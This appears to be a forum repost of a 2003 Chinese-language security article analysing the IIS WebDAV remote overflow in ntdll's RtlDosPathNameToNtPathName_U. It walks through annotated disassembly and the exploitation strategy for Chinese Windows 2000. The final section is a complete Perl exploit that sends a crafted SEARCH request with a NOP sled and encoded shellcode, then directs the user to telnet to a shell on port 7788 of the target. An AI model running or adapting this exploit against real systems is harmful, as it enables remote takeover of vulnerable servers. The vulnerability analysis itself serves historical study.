- 论坛徽章:
- 0
|
创建时间:2003-03-27\r\n文章属性:原创\r\n文章来源:http://www.xfocus.net\r\n文章提交:isno (isno_at_sina.com)\r\n\r\nWebDav远程溢出漏洞分析\r\n\r\nby isno@xfocus.org\r\n\r\n一、漏洞分析\r\n 这个漏洞可能是前些年就有牛人发现了的,不过一直没公布,直到最近微软出了安全公告大家才知道原来有这么个漏洞。虽然WebDav是通过IIS来利用这个漏洞的,但是漏洞本身并不是IIS造成的,而是ntdll.dll里面的一个API函数造成的。有就是说,很多调用这个API的应用程序都存在这个漏洞。整个漏洞的引用关系是这样的:\r\n\r\nIIS->WebDav->kernel32!GetFileAttributesExW->ntdll!RtlDosPathNameToNtPathName_U(溢出)\r\n\r\n 其中GetFileAttributesExW是一个很常用的,用来得到文件属性的API函数,它的第一个参数是文件名。并且随后调用ntdll.dll中的RtlDosPathNameToNtPathName_U函数,来处理这个文件名。如果给一个超长的文件名,就会导致RtlDosPathNameToNtPathName_U函数中发生溢出。\r\n 这个溢出从本质上来说是一个短整型数溢出,而后导致了堆栈溢出。最近出现的很多漏洞都是整数溢出引起的,这一点值得研究。\r\n 当我们对IIS发送如下请求就会触发溢出:\r\n SEARCH /[buffer(>65513 bytes)] HTTP/1.0\r\n 其中IIS就把buffer前面加上几个字节的路径,然后作为文件名参数传给了GetFileAttributesExW,然后GetFileAttributesExW又把这个长字符串作为参数传给RtlDosPathNameToNtPathName_U,然后就溢出了。\r\n 下面我们就来看看溢出是怎样发生的:\r\n\r\n.text:77F8AFFC public RtlDosPathNameToNtPathName_U\r\n.text:77F8AFFC RtlDosPathNameToNtPathName_U proc near ; CODE XREF: sub_77F87F5C+15p\r\n.text:77F8AFFC ; .text:77F8D9F8p ...\r\n.text:77F8AFFC push ebp\r\n.text:77F8AFFD mov ebp, esp\r\n.text:77F8AFFF push 0FFFFFFFFh\r\n.text:77F8B001 push offset dword_77F8B1E8\r\n.text:77F8B006 push offset sub_77F82B95\r\n.text:77F8B00B mov eax, large fs:0\r\n.text:77F8B011 push eax\r\n.text:77F8B012 mov large fs:0, esp ;建立异常链\r\n.text:77F8B019 push ecx\r\n.text:77F8B01A push ecx\r\n.text:77F8B01B sub esp, 26Ch\r\n.text:77F8B021 push ebx\r\n.text:77F8B022 push esi\r\n.text:77F8B023 push edi\r\n.text:77F8B024 mov [ebp+var_18], esp\r\n.text:77F8B027 xor ebx, ebx\r\n.text:77F8B029 mov [ebp+var_58], ebx\r\n.text:77F8B02C mov [ebp+var_3C], ebx\r\n.text:77F8B02F mov edi, 20Ah\r\n.text:77F8B034 mov esi, edi\r\n.text:77F8B036 push [ebp+arg_0] ;路径UNICODE字符串\r\n.text:77F8B039 lea eax, [ebp+var_30] ;UNICODE_STRING结构指针\r\n.text:77F8B03C push eax\r\n.text:77F8B03D call RtlInitUnicodeString\r\n\r\n\r\n 调用RtlInitUnicodeString函数来初始化UNICODE_STRING结构,UNICODE_STRING结构如下:\r\n\r\ntypedef struct _UNICODE_STRING {\r\n USHORT Length; //UNICODE字符串长度,短整型数,最大可以是0xffff即65535\r\n USHORT MaximumLength; //UNICODE字符串可存储最大长度,短整型,最大可以是0xffff即65535\r\n PWSTR Buffer; //存放UNICODE字符串的地址\r\n} UNICODE_STRING *PUNICODE_STRING;\r\n\r\n RtlInitUnicodeString的作用其实就是把路径字符串存放到Buffer,并计算其长度,放在Length里。这里就存在一个短整型数溢出,如果路径字符串的长度超过65535,由于Length是短整型数,所以无法容纳,就会溢出,例如当路径长度是65536,那么Length就为0,与实际长度不等。在后面会使用到Length的时候就导致了普通的堆栈溢出。\r\n\r\n.text:77F8B05A lea eax, [ebp+var_270]\r\n.text:77F8B060 mov [ebp+var_3C], eax\r\nRtlDosPathNameToNtPathName_U函数堆栈中的地址,距离函数栈底的距离为0x270字节,后面会作为参数传入sub_77F8AC33\r\n\r\n.text:77F8B0A0 lea eax, [ebp+var_274]\r\n.text:77F8B0A6 push eax\r\n.text:77F8B0A7 lea eax, [ebp+var_38]\r\n.text:77F8B0AA push eax\r\n.text:77F8B0AB push [ebp+arg_8]\r\n.text:77F8B0AE push [ebp+var_3C] ;前面取的那个堆栈地址[ebp+var_270]\r\n.text:77F8B0B1 mov edi, 208h\r\n.text:77F8B0B6 push edi ;长度限制,0x208\r\n.text:77F8B0B7 lea eax, [ebp+var_30] ;已经初始化过的UNICODE_STRING结构指针\r\n.text:77F8B0BA push eax\r\n.text:77F8B0BB call sub_77F8AC33 ;调用sub_77F8AC33\r\n\r\n.text:77F8AC33 sub_77F8AC33 proc near ; CODE XREF: RtlGetFullPathName_U+24p\r\n.text:77F8AC33 ; RtlDosPathNameToNtPathName_U+BFp ...\r\n......\r\n.text:77F8AD96 mov dx, [ebp+var_30]\r\n.text:77F8AD9A movzx esi, dx\r\n.text:77F8AD9D mov eax, [ebp+var_28]\r\n.text:77F8ADA0 lea ecx, [eax+esi] ;ecx就是UNICODE_STRING结构中的Length\r\n.text:77F8ADA3 mov [ebp+var_5C], ecx\r\n.text:77F8ADA6 cmp ecx, [ebp+arg_4] ;长度限制比较,Length与arg_4参数(即0x208)进行比较\r\n.text:77F8ADA9 jnb loc_77F8E771 ;如果UNICODE字符串的长度大于0x208就跳转到错误处理\r\n 这里是有一个长度限制的,即UNICODE字符串的长度Length不能超过0x208字节,否则就认为是超长的,不进行字符串拷贝。但是由于Length这个短整型数溢出了,它比UNICODE字符串的实际长度小的多,所以造成长度限制比较失效,从而造成了后面的溢出。\r\n 进行完长度限制比较后,就会把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面(offset很小),也就是前面取的那个堆栈地址[ebp+var_270]里面。\r\n.text:77F8AE1B movzx ecx, [ebp+var_4C]\r\n.text:77F8AE1F add ecx, [ebp+arg_8] ;ecx就是前面取的那个堆栈地址[ebp+var_270]\r\n......\r\n接下来就是一些的字符串copy操作,把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面。\r\n.text:77F8AE63 mov [ecx], dx\r\n.text:77F8AE66 add ecx, ebx\r\n 字符串copy的时候就溢出了,会把RtlDosPathNameToNtPathName_U函数的返回地址,以及建立的异常链全部覆盖掉。一般我们通过把异常处理指针覆盖成我们能控制的地址,这样后面触发异常的时候就会跳去执行我们的shellcode。\r\n 大概的过程就是这样,当然其中还有一些比较复杂的处理,不再赘述。\r\n\r\n二、漏洞利用\r\n 微软的公告出来之后,我就重现了这个漏洞,但是由于很长时间不搞这些东西了,连softice命令都要重新学学才能记起来。到要写这个的exploit程序,又发现其中的UNICODE转换很烦人,到现在也一直没有很通用的办法来利用。后来等到老外公布了他的exploit程序,我才发现原来中文版和英文版的Windows 2000的UNICODE转换不一样,对中文版win2000的exploit要麻烦的多,像老外那样子写的exploit程序根本无法攻击中文版的win2000。\r\n 当我们把“SEARCH /[buffer] HTTP/1.0”传给IIS后,先进行一系列的处理把buffer解析出来,然后对buffer进行MultiByteToWideChar转换,把buffer转换成UNICODE形式。中文版和英文版的win2000的转换应该是不一样的,可能是转换的CodePage不一样,英文版可能是使用CP_ACP,中文版可能使用的是CP_UTF*,具体是怎样转换的我也没搞清楚,总之转换出的结果在中文版和英文版中应该是不一样的。\r\n 这样就造成了中文版的难以利用,因为英文版中可以直接把一些指令或返回地址放在buffer里面,转换成UNICODE之后也不会改变。但是中文版的在转换之后就有好多字节变了,导致无法利用。按说像以前的ida/idq溢出也是经过UNICODE转换的,那个就可以用%u的方法进行编码,使得某些字节不进行转换。WebDav的溢出虽然也能用%u编码来控制不进行转换,但是实际调试发现某些不符合规范的字节还是被改变了。估计是对有%u编码的字节先进行了MultiByteToWideChar转换,然后又用WideCharToMultiByte给转回来了。所以不符合UNICODE编码规范的字符就还是被改变了。\r\n 最困难的问题就是我们用来覆盖的返回地址的范围大大缩小了,只能用一些符合UNICODE编码规范的字符,否则就会被转换调。可视字符(0x20~0x7f)当然是可以用的,但是要用这些字符来构造出可执行的指令就比较困难了,所以不能用含JMP EBX之类指令的地址来作为返回地址,否则即使返回到buffer里面也很难用一段指令跳转到shellcode去。而英文版就没有这个问题,可是现在公布的exploit都没用%u编码和JMP EBX地址的方法,而是用堆栈地址做返回地址,这样导致这些exploit对付英文版时成功率也不高。\r\n 对付中文版的win2000麻烦的多,因为在buffer里面不允许有不符合UNICODE编码的字符,所以直接使用堆栈内的shellcode地址作为返回地址比较好。这样就需要在shellcode之前放尽量多的NOP,占据一段比较大的内存空间,这样确保返回到NOP里面。HTTP协议里面允许存放最大量数据的地方就是POST数据,所以shellcode就放在这里。整个HTTP请求这样构造:\r\n\r\nSEARCH /[ret]...[ret][AAA...AAA][qq] HTTP/1.0\r\nHost: ISNO\r\nContent-Type: text/xml\r\nContent-length: [NOP和Shellcode的总长度]\r\n\r\n[NOPNOPNOP...NOPNOP][Shellcode]\r\n\r\n 因为AAAA...AAAA的长度比较长,怕万一返回到这里面就没办法执行shellcode了,所以在AAAA的后面要放一个跳转指令,因为在堆栈里NOP和shellcode是AAAA的后面排列的(但是并不紧挨着,中间有一些无用字符),所以如果返回到AAAA里面就一直执行inc ecx指令(0x41),然后最后跳转到NOP里去。因为在这里面要用符合UNICODE编码的指令,所以一般的jmp指令(0xeb)都不能用,我们就用一个jno xxxx(0x71)指令向后跳转。所以我们在AAAA的后面放上两个q(0x71)来作为跳转指令,这样即使返回到AAAA里面也能保证最后跳转到后面的shellcode执行。\r\n 具体的exploit程序请参见附程序。\r\n 我在几个中文版win2000+SP2和SP3上都测试成功了,但是也有一些机器不能成功,需要调整返回地址才行。所以这个程序的通用性仍然不是很好。另外一些机器上还有返回地址要有2个字节对齐的问题,因此使用的返回地址尽量用前两个字节和后两个字节相同的,例如0x00d700d7。\r\n 顺便说一下,我发现perl真是好东西,尤其是用来构造字符串非常方便。\r\n \r\n三、总结\r\n 这是一个典型的整数溢出导致的堆栈溢出,和以前那个ASP溢出有相似之处,只不过ASP溢出是整数溢出导致堆溢出。这个漏洞的另一个特点就是它是UNICODE转换之后的溢出,这大大增加了利用的难度。\r\n 由于本人水平极为有限,加上没有时间进行更仔细的分析,所以对一些处理过程的理解可能不正确,对该漏洞的分析肯定存在纰漏,也许IIS有一些特殊的转换处理过程我没有发现,可能会导致这个漏洞有非常容易的方法来利用。写这个文章的目的就在于抛砖引玉,让牛人们把好的exploit方法公布出来,让小弟我也学习一下。\r\n\r\n\r\n附WebDav远程溢出程序:\r\n----------------------------------------------------------------------\r\n#!/usr/bin/perl\r\n#65514 by isno@xfocus.org\r\n#tested on Win2k SP3 Chinese version\r\n\r\nuse IO::Socket;\r\nif ($#ARGV<0){die \"webdavx.pl IP\\r\\n\";}\r\n$host = @ARGV[0]; \r\n$port= 80;\r\n\r\n$ret = \"%u00d7%u00d7\" x 500;\r\n$buf = \"A\" x 64502;\r\n$jmp = \"BBBBBBBBBBqq\";# qq=\"\\x71\\x71\" means jno xxxx\r\n$nop = \"\\x90\" x 40000;\r\n$sc =\r\n \"\\x90\\xeb\\x03\\x5d\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x83\\xc5\\x15\\x90\\x90\".\r\n \"\\x90\\x8b\\xc5\\x33\\xc9\\x66\\xb9\\x10\\x03\\x50\\x80\\x30\\x97\\x40\\xe2\\xfa\".\r\n \"\\x7e\\x8e\\x95\\x97\\x97\\xcd\\x1c\\x4d\\x14\\x7c\\x90\\xfd\\x68\\xc4\\xf3\\x36\".\r\n \"\\x97\\x97\\x97\\x97\\xc7\\xf3\\x1e\\xb2\\x97\\x97\\x97\\x97\\xa4\\x4c\\x2c\\x97\".\r\n \"\\x97\\x77\\xe0\\x7f\\x4b\\x96\\x97\\x97\\x16\\x6c\\x97\\x97\\x68\\x28\\x98\\x14\".\r\n \"\\x59\\x96\\x97\\x97\\x16\\x54\\x97\\x97\\x96\\x97\\xf1\\x16\\xac\\xda\\xcd\\xe2\".\r\n \"\\x70\\xa4\\x57\\x1c\\xd4\\xab\\x94\\x54\\xf1\\x16\\xaf\\xc7\\xd2\\xe2\\x4e\\x14\".\r\n \"\\x57\\xef\\x1c\\xa7\\x94\\x64\\x1c\\xd9\\x9b\\x94\\x5c\\x16\\xae\\xdc\\xd2\\xc5\".\r\n \"\\xd9\\xe2\\x52\\x16\\xee\\x93\\xd2\\xdb\\xa4\\xa5\\xe2\\x2b\\xa4\\x68\\x1c\\xd1\".\r\n \"\\xb7\\x94\\x54\\x1c\\x5c\\x94\\x9f\\x16\\xae\\xd0\\xf2\\xe3\\xc7\\xe2\\x9e\\x16\".\r\n \"\\xee\\x93\\xe5\\xf8\\xf4\\xd6\\xe3\\x91\\xd0\\x14\\x57\\x93\\x7c\\x72\\x94\\x68\".\r\n \"\\x94\\x6c\\x1c\\xc1\\xb3\\x94\\x6d\\xa4\\x45\\xf1\\x1c\\x80\\x1c\\x6d\\x1c\\xd1\".\r\n \"\\x87\\xdf\\x94\\x6f\\xa4\\x5e\\x1c\\x58\\x94\\x5e\\x94\\x5e\\x94\\xd9\\x8b\\x94\".\r\n \"\\x5c\\x1c\\xae\\x94\\x6c\\x7e\\xfe\\x96\\x97\\x97\\xc9\\x10\\x60\\x1c\\x40\\xa4\".\r\n \"\\x57\\x60\\x47\\x1c\\x5f\\x65\\x38\\x1e\\xa5\\x1a\\xd5\\x9f\\xc5\\xc7\\xc4\\x68\".\r\n \"\\x85\\xcd\\x1e\\xd5\\x93\\x1a\\xe5\\x82\\xc5\\xc1\\x68\\xc5\\x93\\xcd\\xa4\\x57\".\r\n \"\\x3b\\x13\\x57\\xe2\\x6e\\xa4\\x5e\\x1d\\x99\\x13\\x5e\\xe3\\x9e\\xc5\\xc1\\xc4\".\r\n \"\\x68\\x85\\xcd\\x3c\\x75\\x7f\\xd1\\xc5\\xc1\\x68\\xc5\\x93\\xcd\\x1c\\x4f\\xa4\".\r\n \"\\x57\\x3b\\x13\\x57\\xe2\\x6e\\xa4\\x5e\\x1d\\x99\\x17\\x6e\\x95\\xe3\\x9e\\xc5\".\r\n \"\\xc1\\xc4\\x68\\x85\\xcd\\x3c\\x75\\x70\\xa4\\x57\\xc7\\xd7\\xc7\\xd7\\xc7\\x68\".\r\n \"\\xc0\\x7f\\x04\\xfd\\x87\\xc1\\xc4\\x68\\xc0\\x7b\\xfd\\x95\\xc4\\x68\\xc0\\x67\".\r\n \"\\xa4\\x57\\xc0\\xc7\\x27\\x9b\\x3c\\xcf\\x3c\\xd7\\x3c\\xc8\\xdf\\xc7\\xc0\\xc1\".\r\n \"\\x3a\\xc1\\x68\\xc0\\x57\\xdf\\xc7\\xc0\\x3a\\xc1\\x3a\\xc1\\x68\\xc0\\x57\\xdf\".\r\n \"\\x27\\xd3\\x1e\\x90\\xc0\\x68\\xc0\\x53\\xa4\\x57\\x1c\\xd1\\x63\\x1e\\xd0\\xab\".\r\n \"\\x1e\\xd0\\xd7\\x1c\\x91\\x1e\\xd0\\xaf\\xa4\\x57\\xf1\\x2f\\x96\\x96\\x1e\\xd0\".\r\n \"\\xbb\\xc0\\xc0\\xa4\\x57\\xc7\\xc7\\xc7\\xd7\\xc7\\xdf\\xc7\\xc7\\x3a\\xc1\\xa4\".\r\n \"\\x57\\xc7\\x68\\xc0\\x5f\\x68\\xe1\\x67\\x68\\xc0\\x5b\\x68\\xe1\\x6b\\x68\\xc0\".\r\n \"\\x5b\\xdf\\xc7\\xc7\\xc4\\x68\\xc0\\x63\\x1c\\x4f\\xa4\\x57\\x23\\x93\\xc7\\x56\".\r\n \"\\x7f\\x93\\xc7\\x68\\xc0\\x43\\x1c\\x67\\xa4\\x57\\x1c\\x5f\\x22\\x93\\xc7\\xc7\".\r\n \"\\xc0\\xc6\\xc1\\x68\\xe0\\x3f\\x68\\xc0\\x47\\x14\\xa8\\x96\\xeb\\xb5\\xa4\\x57\".\r\n \"\\xc7\\xc0\\x68\\xa0\\xc1\\x68\\xe0\\x3f\\x68\\xc0\\x4b\\x9c\\x57\\xe3\\xb8\\xa4\".\r\n \"\\x57\\xc7\\x68\\xa0\\xc1\\xc4\\x68\\xc0\\x6f\\xfd\\xc7\\x68\\xc0\\x77\\x7c\\x5f\".\r\n \"\\xa4\\x57\\xc7\\x23\\x93\\xc7\\xc1\\xc4\\x68\\xc0\\x6b\\xc0\\xa4\\x5e\\xc6\\xc7\".\r\n \"\\xc1\\x68\\xe0\\x3b\\x68\\xc0\\x4f\\xfd\\xc7\\x68\\xc0\\x77\\x7c\\x3d\\xc7\\x68\".\r\n \"\\xc0\\x73\\x7c\\x69\\xcf\\xc7\\x1e\\xd5\\x65\\x54\\x1c\\xd3\\xb3\\x9b\\x92\\x2f\".\r\n \"\\x97\\x97\\x97\\x50\\x97\\xef\\xc1\\xa3\\x85\\xa4\\x57\\x54\\x7c\\x7b\\x7f\\x75\".\r\n \"\\x6a\\x68\\x68\\x7f\\x05\\x69\\x68\\x68\\xdc\\xc1\\x70\\xe0\\xb4\\x17\\x70\\xe0\".\r\n \"\\xdb\\xf8\\xf6\\xf3\\xdb\\xfe\\xf5\\xe5\\xf6\\xe5\\xee\\xd6\\x97\\xdc\\xd2\\xc5\".\r\n \"\\xd9\\xd2\\xdb\\xa4\\xa5\\x97\\xd4\\xe5\\xf2\\xf6\\xe3\\xf2\\xc7\\xfe\\xe7\\xf2\".\r\n \"\\x97\\xd0\\xf2\\xe3\\xc4\\xe3\\xf6\\xe5\\xe3\\xe2\\xe7\\xde\\xf9\\xf1\\xf8\\xd6\".\r\n \"\\x97\\xd4\\xe5\\xf2\\xf6\\xe3\\xf2\\xc7\\xe5\\xf8\\xf4\\xf2\\xe4\\xe4\\xd6\\x97\".\r\n \"\\xd4\\xfb\\xf8\\xe4\\xf2\\xdf\\xf6\\xf9\\xf3\\xfb\\xf2\\x97\\xc7\\xf2\\xf2\\xfc\".\r\n \"\\xd9\\xf6\\xfa\\xf2\\xf3\\xc7\\xfe\\xe7\\xf2\\x97\\xd0\\xfb\\xf8\\xf5\\xf6\\xfb\".\r\n \"\\xd6\\xfb\\xfb\\xf8\\xf4\\x97\\xc0\\xe5\\xfe\\xe3\\xf2\\xd1\\xfe\\xfb\\xf2\\x97\".\r\n \"\\xc5\\xf2\\xf6\\xf3\\xd1\\xfe\\xfb\\xf2\\x97\\xc4\\xfb\\xf2\\xf2\\xe7\\x97\\xd2\".\r\n \"\\xef\\xfe\\xe3\\xc7\\xe5\\xf8\\xf4\\xf2\\xe4\\xe4\\x97\\x97\\xc0\\xc4\\xd8\\xd4\".\r\n \"\\xdc\\xa4\\xa5\\x97\\xe4\\xf8\\xf4\\xfc\\xf2\\xe3\\x97\\xf5\\xfe\\xf9\\xf3\\x97\".\r\n \"\\xfb\\xfe\\xe4\\xe3\\xf2\\xf9\\x97\\xf6\\xf4\\xf4\\xf2\\xe7\\xe3\\x97\\xe4\\xf2\".\r\n \"\\xf9\\xf3\\x97\\xe5\\xf2\\xf4\\xe1\\x97\\x95\\x97\\x89\\xfb\\x97\\x97\\x97\\x97\".\r\n \"\\x97\\x97\\x97\\x97\\x97\\x97\\x97\\x97\\xf4\\xfa\\xf3\\xb9\\xf2\\xef\\xf2\\x97\".\r\n \"\\x68\\x68\\x68\\x68\";\r\n\r\n$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => \"tcp\", Type =>SOCK_STREAM) or die \"Couldn\'t connect: @!\\n\";\r\nprint $socket \"SEARCH /$ret$buf$jmp HTTP/1.0\\r\\n\";\r\nprint $socket \"Host: ISNO\\r\\n\";\r\nprint $socket \"Content-Type: text/xml\\r\\n\";\r\nprint $socket \"Content-length: 40804\\r\\n\\r\\n\";\r\nprint $socket \"$nop$sc\\r\\n\";\r\n\r\nprint \"send buffer...\\r\\n\";\r\nprint \"telnet target 7788\\r\\n\";\r\n\r\nclose($socket); |
|